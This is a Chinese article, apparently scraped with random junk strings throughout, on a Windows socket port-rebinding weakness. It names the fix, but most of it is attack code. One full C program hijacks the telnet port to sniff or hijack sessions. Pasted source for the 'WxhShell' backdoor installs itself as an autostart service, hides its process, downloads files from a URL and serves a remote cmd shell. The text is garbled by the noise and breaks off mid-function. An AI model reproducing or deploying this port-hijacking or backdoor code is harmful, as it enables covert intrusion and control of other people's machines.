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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: w~y+Pv@
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
(C*G)Aj7 +8Yt91 saddr.sin_family = AF_INET; 1fM=>Z 3Wxl7"!x m saddr.sin_addr.s_addr = htonl(INADDR_ANY); U~-Z`_@^-
Z+`mla bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .\M@oF $j0]+vT 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 m663%b(5> 8fFURk 这意味着什么?意味着可以进行如下的攻击: 3GUO ]Cnj=\' 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 S9d+#6rn &1YAPxX 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) km,}7^?F0r >e
:&k p 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 G`!#k!&r *X8<hYKZq 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 |UZPn>F~ |V bF&*v` 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 s`GwRH<# <\!+J\YTA 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 " NnUu8x eyBLgJt8P 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Lo
_5r T" (.4mX
t #include W4Rs9NA} #include =Y#)c]` #include Bm2"} = #include NF&R}7L DWORD WINAPI ClientThread(LPVOID lpParam); 0][PL%3Z int main() Zc(uK{3W- { QyQ&xgS WORD wVersionRequested; +168!Jw; DWORD ret; S{gB~W WSADATA wsaData; ?RJ
)u BOOL val; \E1[ / SOCKADDR_IN saddr; Cp=DdmR SOCKADDR_IN scaddr; wZ/Zc}
. int err; hZf0q 2 SOCKET s; lgFA}p@ SOCKET sc; W- 5Z"m1I int caddsize; ;4p_lw@ HANDLE mt; \)'s6>58| DWORD tid; h'YC!hjp wVersionRequested = MAKEWORD( 2, 2 ); jPU:&1(_ n err = WSAStartup( wVersionRequested, &wsaData ); Mu$9#[/ if ( err != 0 ) { mu`h6?v printf("error!WSAStartup failed!\n"); BC0SSR@e return -1; |n3fAN } >utm\!Gac saddr.sin_family = AF_INET; L;$Gn"7~ }bIbMEMn //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
b$\3Y'": ':YFm saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); r(-`b8ZE saddr.sin_port = htons(23); _1_CYrUc if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I:M]#aFD { \nT, NV11 printf("error!socket failed!\n"); 9nF;$HB return -1; .vHSKd{ } #vCtH2 val = TRUE; H:byCFN- //SO_REUSEADDR选项就是可以实现端口重绑定的 gE2k]`[j] if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) W(U:D?e { ^-Ob($(\ printf("error!setsockopt failed!\n"); {"hX_t return -1; w/+e } VBV y3fnj //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?IgM=@ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;LEO+,6 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <^>O<P:v @vzv9c[ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) bV c"'RQ { l]tda( ret=GetLastError(); ;s{k32e printf("error!bind failed!\n"); }4G/x;D return -1; \yDr } rC
)pCC listen(s,2); $OEhdz&Fi while(1) V*]cF=W[A { oAaUXkQE caddsize = sizeof(scaddr); x[XN;W& //接受连接请求 JAPiR= sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); s*%pNE U if(sc!=INVALID_SOCKET) $&IF#uDf { fsd,q?{a: mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ig
G8L if(mt==NULL) `-Yo$b;: { 3%`asCW$ printf("Thread Creat Failed!\n"); ]M2<b:yo break; 3O % u? } ,c3gW2E } bEx8dc`Q CloseHandle(mt); OJX* :Q } %K@s0uQ closesocket(s); "p,TYjT?R WSACleanup(); J*4byu| return 0; )1de<# qM } (H=7 ( DWORD WINAPI ClientThread(LPVOID lpParam) 6k14xPj { @|A
wT SOCKET ss = (SOCKET)lpParam; kFCjko SOCKET sc; !a
%6nBo unsigned char buf[4096]; i
qLNX) SOCKADDR_IN saddr; /eFudMl long num; `bXP
)$ DWORD val; ';T=kS<^_ DWORD ret; UC@&! kM //如果是隐藏端口应用的话,可以在此处加一些判断 SU.9;I
! //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 UD.&p'^ /{ saddr.sin_family = AF_INET; fK-tvP0}* saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); t?bc$,S"\( saddr.sin_port = htons(23); XLG6f(B= F if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %~z/, [wk { pS [nKcyj printf("error!socket failed!\n"); "l83O8 L return -1; xw1@&QwM } Ojea~Y]Sr val = 100; q ERdQ~M, if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) MSef2|"P# { MqA%hlq ret = GetLastError(); ;{@jj0h; return -1; `EFPY$9`D } ;|nC;D] if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6LVJ*sjSy { +A3Q$1F ret = GetLastError(); .W[[Z;D return -1; ,B^NH7A: } 49/j9#hr if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _1<zpHp { .JkcCEe{G printf("error!socket connect failed!\n"); 7&I+mw/X closesocket(sc); lQt&K1m closesocket(ss); CBj&8#8Z return -1; ,[ogh } HizMjJ| while(1) ="M7F0k { OfSy _#aEK //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *{/L7])gm //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;t^8lC?>V //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
*jAw num = recv(ss,buf,4096,0); ^:c:~F6J if(num>0) fJjtrvNy) send(sc,buf,num,0); MV+S.`R else if(num==0) muD7+rn?& break; |?a 4Nl?
num = recv(sc,buf,4096,0); z3 zN^ZT if(num>0) )isJ^ *6y send(ss,buf,num,0); VaLx- RX else if(num==0) kO1.27D break; 5)}3C_pmW } Iy2KOv@a5 closesocket(ss); +`@)87O closesocket(sc); d8Keyi8[ return 0 ; >x$eKN } 3`W=rIMli ;OE= ;\ 4{[cXM8*j ========================================================== n'dxa<F2| aN87 ^[ 下边附上一个代码,,WXhSHELL Do&em8i
z AbWnDqv ========================================================== Ym)8L. 'CTvKW #include "stdafx.h" 6NvdFss'A{ dHE\+{K%- #include <stdio.h> > @Ux8# #include <string.h> OZHQnvZ #include <windows.h> n+C,v.X #include <winsock2.h> \xQ10\u #include <winsvc.h> SBj9sFZ #include <urlmon.h> ~|LlT^C $m.e}`7SF! #pragma comment (lib, "Ws2_32.lib") D"5u N0Z #pragma comment (lib, "urlmon.lib") ;:w?&4 **zh>Y}6 #define MAX_USER 100 // 最大客户端连接数 qkCj33v #define BUF_SOCK 200 // sock buffer Anpx%NVo #define KEY_BUFF 255 // 输入 buffer :d&^//9 w(sD}YA) #define REBOOT 0 // 重启 AWp{n #define SHUTDOWN 1 // 关机 U1+X!&OCp $;9zD11 #define DEF_PORT 5000 // 监听端口 gC}r$ZB( :/Zy=F9: #define REG_LEN 16 // 注册表键长度 E(5'vr0 #define SVC_LEN 80 // NT服务名长度 Zcaec# 1:.0^?Gz // 从dll定义API l9U^[;D typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L_>j
SP typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z#-:zD7_ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '(JSU typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (6xrs_ea W!$aK )]4u // wxhshell配置信息 4t(V)1+ struct WSCFG { ?m)3n0Uh int ws_port; // 监听端口 N2!HkUy2 char ws_passstr[REG_LEN]; // 口令 yQ33JQr int ws_autoins; // 安装标记, 1=yes 0=no 7=YjY)6r^ char ws_regname[REG_LEN]; // 注册表键名 B2QC#R char ws_svcname[REG_LEN]; // 服务名 <X7x char ws_svcdisp[SVC_LEN]; // 服务显示名 vd@_LcK char ws_svcdesc[SVC_LEN]; // 服务描述信息 bt=%DMTn char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V!eq)L int ws_downexe; // 下载执行标记, 1=yes 0=no 67Z.aaXD1 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" }Q 7~tu char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8vhg{L.. AE:IXP|c }; n[jyhBf\W B(x$
Ln"y[ // default Wxhshell configuration "=7y6bM struct WSCFG wscfg={DEF_PORT, ,W"[q ~ "xuhuanlingzhe", ogt<vng 1, p'lL2n$E "Wxhshell", l]BIFZ~ "Wxhshell", d"
T">Og) "WxhShell Service", aP}kl[W "Wrsky Windows CmdShell Service", b)+;#m "Please Input Your Password: ", ] m$;ra] 1, NaeG2>1 " http://www.wrsky.com/wxhshell.exe", ar-N4+!@ "Wxhshell.exe" +tbG^w% }; !J 3dlUFRO ?a~59!u // 消息定义模块 VdrqbZ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WoP5[.G char *msg_ws_prompt="\n\r? for help\n\r#>"; OH2Xxr[bQ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ]>E)0<t char *msg_ws_ext="\n\rExit."; Zt3"4d4 char *msg_ws_end="\n\rQuit."; ;pK/t=$ char *msg_ws_boot="\n\rReboot..."; [O)
Q\|k
char *msg_ws_poff="\n\rShutdown..."; s-V5\Lip, char *msg_ws_down="\n\rSave to "; 9#K,@X5 j 2!Bjs?K<bv char *msg_ws_err="\n\rErr!"; rJ2yi6TB\ char *msg_ws_ok="\n\rOK!"; m+y5Q&;f ]L/h,bVI1 char ExeFile[MAX_PATH]; 5)g6yV' int nUser = 0; E$B7E@(U HANDLE handles[MAX_USER]; f+#^Lngo int OsIsNt; "bI'XaSv W_w^"' SERVICE_STATUS serviceStatus; Up:<NHJT SERVICE_STATUS_HANDLE hServiceStatusHandle; a[Pyxx_K ~Z74e>V% // 函数声明 lX^yd5M&f int Install(void); } 0su[gy[ int Uninstall(void); q)Qd+:a7{ int DownloadFile(char *sURL, SOCKET wsh); blbL49; int Boot(int flag); 4/6?wX void HideProc(void); b`?$;5 int GetOsVer(void); SFKfsb !C int Wxhshell(SOCKET wsl); i98>=y~ void TalkWithClient(void *cs); mB.ybrig int CmdShell(SOCKET sock); (o+(YV^ int StartFromService(void); xq#YBi, int StartWxhshell(LPSTR lpCmdLine); &NvvaqJ ,,U8X [A VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;+d2qbGd VOID WINAPI NTServiceHandler( DWORD fdwControl ); xa7~{ E, X~m*` UH // 数据结构和表定义 +M@,CbqD SERVICE_TABLE_ENTRY DispatchTable[] = TR@*tfS { ,;RAPT4 {wscfg.ws_svcname, NTServiceMain}, Ie12d@ {NULL, NULL} ii< /!B( }; BU3VXnqT[ '/2u^&W // 自我安装 =6PTT$, int Install(void) |wef [|@% { ^oykimYI- char svExeFile[MAX_PATH]; J |$(O$hYy HKEY key; ]3u$%vc strcpy(svExeFile,ExeFile); @-^jbmu^
P y `)oD0)Fj // 如果是win9x系统,修改注册表设为自启动 #0;H'GO?c if(!OsIsNt) { BWtGeaW/sr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w6b\l1Z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S,Y\ox- RegCloseKey(key); uyE_7)2d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { itH`
s<E RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {x&"b - RegCloseKey(key); @;^7kt return 0; A>0wqT } 8`I/\8;H'p } =Gl6~lJ{_ } |sG@Ku7~4 else { 28u3B2\$ dfU z{ // 如果是NT以上系统,安装为系统服务 -XbO[_Wf
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W
zKaLyM if (schSCManager!=0) $|0?$U7! { k&<cFZU SC_HANDLE schService = CreateService TbK;_pg ( A2C|YmHk schSCManager, ZUkrJ' wscfg.ws_svcname, >vr!3 wscfg.ws_svcdisp, do-mkvk SERVICE_ALL_ACCESS, G1:*F8q SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <'Ppu SERVICE_AUTO_START, LTof$4s SERVICE_ERROR_NORMAL, Kuj*U'ed7t svExeFile, E#5$O2b# NULL, :o2^?k8k NULL, wZAY0@pA NULL, K3CTxU( NULL, *8WcRx NULL Syf0dp3 ); YtQsSU if (schService!=0) #3+-vyZm { eD#R4 CloseServiceHandle(schService); b*AL,n? CloseServiceHandle(schSCManager); RhL!Zz strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J&vmW}& strcat(svExeFile,wscfg.ws_svcname); WNE=|z#| if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W5&;PkhQ6 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r )pg9}+ RegCloseKey(key); =7*k>]o return 0; MDyPwv\ } ;Wo\MN } o<J_?7c~} CloseServiceHandle(schSCManager); .b3cn } *.+Eg$'~V } UNc[h&@_ _ +"V5z return 1; _NkVi_UX } _@U11| [|:kS // 自我卸载 Lwy9QZL int Uninstall(void) XSw!_d { o1d ECLQa HKEY key; !_ng_,J O|Z5SSlk if(!OsIsNt) { t+2!"Jr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z^fkv RegDeleteValue(key,wscfg.ws_regname); 2G(RQ\Ro* RegCloseKey(key); OJ /l}_a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NI1jJfH|l RegDeleteValue(key,wscfg.ws_regname); S<-e/`p=H RegCloseKey(key); |k3^
eeLk return 0; IKm_YQ$XOy } IPIas$ } | M|5Nc>W } t:SME'~.P else { WZ3GI
l AW XBk+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U^xz>:~ if (schSCManager!=0) Kc%GxD` { $v6`5;#u SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u=U.+\f5 if (schService!=0) 0fpxr` { pc=f, if(DeleteService(schService)!=0) { 2,3pmb CloseServiceHandle(schService); :'F7^N3;H CloseServiceHandle(schSCManager); LRuB&4r8 return 0; q#mw#Uw- } HZ+l){u CloseServiceHandle(schService); qkLp8/G>pO } 9(CY"Tc3 CloseServiceHandle(schSCManager); m7F"kD } &rj)Oh2 } $U]KIHb ';\v:dP return 1; Cd"cU~HAB } 5g-AB`6T 9?IvSv}z // 从指定url下载文件 f\{ynC2m int DownloadFile(char *sURL, SOCKET wsh) whoQA}X> { _!} L\E~ HRESULT hr; d
hp-XIA; char seps[]= "/"; 4|]0%H~n6 char *token; z+k[HE^S char *file; J$/'nL<{^ char myURL[MAX_PATH]; v"LH^!/ char myFILE[MAX_PATH]; ;4!,19AT C=sEgtEI strcpy(myURL,sURL); REj<2Lo token=strtok(myURL,seps); }+F&=-P) while(token!=NULL) ZITic&>W { [\rnJ
lE file=token; C;EC4n+s token=strtok(NULL,seps); JSAbh\Mq6 } A.%MrgOOX @uJ^k
>B GetCurrentDirectory(MAX_PATH,myFILE); }=fVO<Rv strcat(myFILE, "\\"); )v+R+3< strcat(myFILE, file); jmH=W) send(wsh,myFILE,strlen(myFILE),0); TJhzyJ"t send(wsh,"...",3,0); eBs4:R_i hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V(^aG=TaW: if(hr==S_OK) ;L{#TC(]J] return 0; Pcs62aE else \uUd * return 1; #j?SdQ WC pCWtmy } 6HK
dBW$/ c2,;t)%@E // 系统电源模块 UgBD|~zu int Boot(int flag) .GM}3(1fX` { P>wDr`* HANDLE hToken; MB:VACCr TOKEN_PRIVILEGES tkp; XeJ|Z)qZ kYl')L6 if(OsIsNt) { {=q$k=ib OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); nB+UxU@ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p[&6hXTd tkp.PrivilegeCount = 1; I.qP$ j tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \(.])I>)eh AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _Dv< if(flag==REBOOT) { .R<Ke\y/ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N;6@f*3_i return 0; ~ ZN]2} } AvxP0@.` else { {Iu9%uR>@ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %{sL/H_ return 0; iax6o+OG| } &AS<2hB } ]\8{z" else { YcQ3:i if(flag==REBOOT) { CQ(
_$ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VZRM=;V return 0; "92Z"I~1 } >e4w8Svcy else { aV6l"A] if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mDJg-BQ return 0; JOA_2qa>\ } +1]xmnts } YdT-E qOi3`6LCV return 1; |}O9'fyU8 } tK$x=9M R[/]iK+!& // win9x进程隐藏模块 k\~A\UIYo void HideProc(void) ?d?
cD { yVP 1=pz_[ a33SY6. HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ju@5D
h if ( hKernel != NULL ) +"!=E
erKi { 2Y+8!4^L
a pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ` s}v6 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %L^S;v3 FreeLibrary(hKernel); KioD/
} | gou#zi %NI'PXpI return; w,CZ*/^ } Ju~8C\Dd }: W6Bo-| // 获取操作系统版本 ];|;") #= int GetOsVer(void) @$ea-fK?? { ?D^l&`S OSVERSIONINFO winfo; }k-rOi'jL winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 05+uBwH GetVersionEx(&winfo); 4/rdr80 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wkp|V{k return 1; >H,t^i}@ else TAbC-T.EV return 0; %mda=%Yn } `B^HW8 ?2g\y@ // 客户端句柄模块 4I[g{S
nF int Wxhshell(SOCKET wsl) jx=2^A/i2- { b~Qd9Nf SOCKET wsh; fYU-pdWPT struct sockaddr_in client; jrZH1dvE DWORD myID; 3 Q~zli: 4">C0m;ks while(nUser<MAX_USER) JxLSQ-" { p$1y8Zbor int nSize=sizeof(client); H0?Vq8I? wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BX-fV| if(wsh==INVALID_SOCKET) return 1; >%i]p |tdsg handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H#FH'@J if(handles[nUser]==0) "HrZv+{ closesocket(wsh); .qD=u1{p9 else 8rpr10;U nUser++; TT3\c,cs } -,^Z5N#\| WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $@@@</VbP PpWdZ return 0; [28Vf"#] } <g'0q*qE x{I,
gu|+ // 关闭 socket ZZJ<JdD void CloseIt(SOCKET wsh) .kZ<Q]Vk { -PLh| closesocket(wsh); I6RF;m:Jw nUser--; tde&w=ec ExitThread(0); F%`O$uXA } TDZ p1zpXb KAR **M p+ // 客户端请求句柄 #s3R4@{ void TalkWithClient(void *cs) JYO("f { :BpXi|n; v/~Lf i SOCKET wsh=(SOCKET)cs; FN"Ye*d char pwd[SVC_LEN]; #Z1
<lAy char cmd[KEY_BUFF]; *rv7#!]. char chr[1]; MoMxKmI int i,j; WI\jm&H r / MV2#P@ while (nUser < MAX_USER) { 4'G osQ85 ~U<=SyZYo if(wscfg.ws_passstr) { WIYWql>* if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dj5@9X //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Twq, 6X- //ZeroMemory(pwd,KEY_BUFF); `!l Qd}W i=0; 'A)9h7k} while(i<SVC_LEN) { LQXMGgp yL"UBe}v // 设置超时 +!eh\.u|] fd_set FdRead; (%SKTM struct timeval TimeOut; ~__rI-/_ FD_ZERO(&FdRead); 2"8qtG`Et FD_SET(wsh,&FdRead); ` 3h,Cy^ TimeOut.tv_sec=8; Zx
U?d TimeOut.tv_usec=0; jWcfQ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); UthM?g^
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
KU 98"b5 (65|QA if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JlhI3`X;/ pwd =chr[0]; gRg8D{ if(chr[0]==0xd || chr[0]==0xa) { Q1[EiM3 pwd=0; "`Y.5. break; Y?xc#' } $n_ax\15 i++; AGK{t+` } Z:.*fs5 Bnh*;J0 // 如果是非法用户,关闭 socket ]!v\whZ> if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E3QyiW } d~z%kl
5: Hd?#^X send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -$ha@bCWO send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )| 0(#R ,| ~Pa while(1) { :YM1p&|fS cg_j.=M- ZeroMemory(cmd,KEY_BUFF); m
e2$ R>@ CMC9%uq // 自动支持客户端 telnet标准 $mcq/W j=0; _E8doV while(j<KEY_BUFF) { g-DFcwO,V if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O>[B"mMt cmd[j]=chr[0]; Z!*k 0<Z if(chr[0]==0xa || chr[0]==0xd) { rH9[x8e cmd[j]=0; Z=zD~ka break; ?$~5ti#\ } Q&8epO |J j++; 5;X3{$y } qv)%)n g
[c^7 // 下载文件 |C}= 1 if(strstr(cmd,"http://")) { 8RjFp2)W send(wsh,msg_ws_down,strlen(msg_ws_down),0); b/obHB+: if(DownloadFile(cmd,wsh)) DMiB \o send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'DTq<`~? else `Tc"a_p9t send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z@U5 } UNyk,
#4 else { 8]&\FA 8 _ pO1XM switch(cmd[0]) { Hgbrlh |Pq z0n=v // 帮助 ]:svR@E case '?': { O7z5,- send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {9XQ~t"m^ break; H -t" Z} } s7s@!~
// 安装 lX/:e= case 'i': { wG
X\ub#! if(Install()) Bj*
M
W send(wsh,msg_ws_err,strlen(msg_ws_err),0); |Fe*t else :&BE-f send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F5%IsAH break; AYv7-!Yk } Ypwn@?xeP // 卸载 ]:.9:RmEV case 'r': { x\5v^$ if(Uninstall()) %s ">: send(wsh,msg_ws_err,strlen(msg_ws_err),0); :|\)=4 else w:/QB-`% send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ky I~ break; >DoP2] } yeIcQ% // 显示 wxhshell 所在路径 li9>zjz case 'p': { %H3
M0J2L char svExeFile[MAX_PATH]; 7.bPPr& strcpy(svExeFile,"\n\r"); [WO>}rGw4 strcat(svExeFile,ExeFile); ')>D*e send(wsh,svExeFile,strlen(svExeFile),0); V=)' CCi{ break; /A93mY[ } *Ke\Yb // 重启 Uf#9y182*c case 'b': { 9YY*)5eyD send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zj2l&)N if(Boot(REBOOT)) .4XX
)f5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); !#dp[,nk else { `u$lSGl closesocket(wsh); Vr hd\ ExitThread(0); |nmt /[ } l09DH+ break; i/RA/q } WT jy"p* // 关机 );d"gv(]D case 'd': { 4rUOk"li send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);
,P^4??' o if(Boot(SHUTDOWN)) r>g5_"FL send(wsh,msg_ws_err,strlen(msg_ws_err),0); U
U@ else { Y?\PU{O closesocket(wsh); UnOcw ExitThread(0); K[l5=)G0L } MY l9 &8 break; I}u&iV` } qkBCI,X_Y // 获取shell GuKiNYI_ case 's': { ` NCH^) CmdShell(wsh); -ju}I closesocket(wsh); U3BhoD#f\ ExitThread(0); @.} @K break; m.Ki4NUm } lQ#='Jqfp // 退出 !7Nz_d~n case 'x': { W|\$}@> send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ca
?d8 CloseIt(wsh); v$#l]A_D break; T9bUt | } lsKQZ@LN` // 离开 ,AwX7gx22 case 'q': { G$VE
o8Blb send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8dwKJ3*. closesocket(wsh); IGF25-7B WSACleanup(); f0+vk'Z exit(1); Lmw4 break; :H>0/^Mg0 } w+iIay } ^y[- e9O| }
bU$M) gjn1ha"h%. // 提示信息 ^J)0i_RS if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "x
O+ } GrI<w.9X } wicW9^ik gl 27&'?E* return; -l?\hmDl } $8`" J$i.^|hE/ // shell模块句柄 GezMqt;2 int CmdShell(SOCKET sock) ^/~C\
( { R)6"P?h._4 STARTUPINFO si; ]E^)d|_ ZeroMemory(&si,sizeof(si)); 5A+r^xN si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vrIWw?/z? si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;Q0H7)t: PROCESS_INFORMATION ProcessInfo; OJD!Ar8Q char cmdline[]="cmd"; a?@lX>Z CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }z5u^_-m return 0; X=V2^zrt } 8=OpX,t( rUZ09>nDy // 自身启动模式 +h8`8k'}-2 int StartFromService(void) !Y10UmMu { BbhC0q"J typedef struct .yB{+ { RcOfesW
o DWORD ExitStatus; C(kL=WD DWORD PebBaseAddress; EkoT U#w5 DWORD AffinityMask; ?X$*8;==6 DWORD BasePriority; -|I_aOC@ ULONG UniqueProcessId; g0#w
4rGF) ULONG InheritedFromUniqueProcessId; i?f;C_w } PROCESS_BASIC_INFORMATION; !V-(K_\t >Q:h0b_$U PROCNTQSIP NtQueryInformationProcess; i&j]FX6q q^h/64F static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7G%:ckg static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [DvQk?,t =3dd1n;8> HANDLE hProcess; wH+|
&C PROCESS_BASIC_INFORMATION pbi; 1vdG\$ LIn2&r:U HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A45!hhf if(NULL == hInst ) return 0; CW
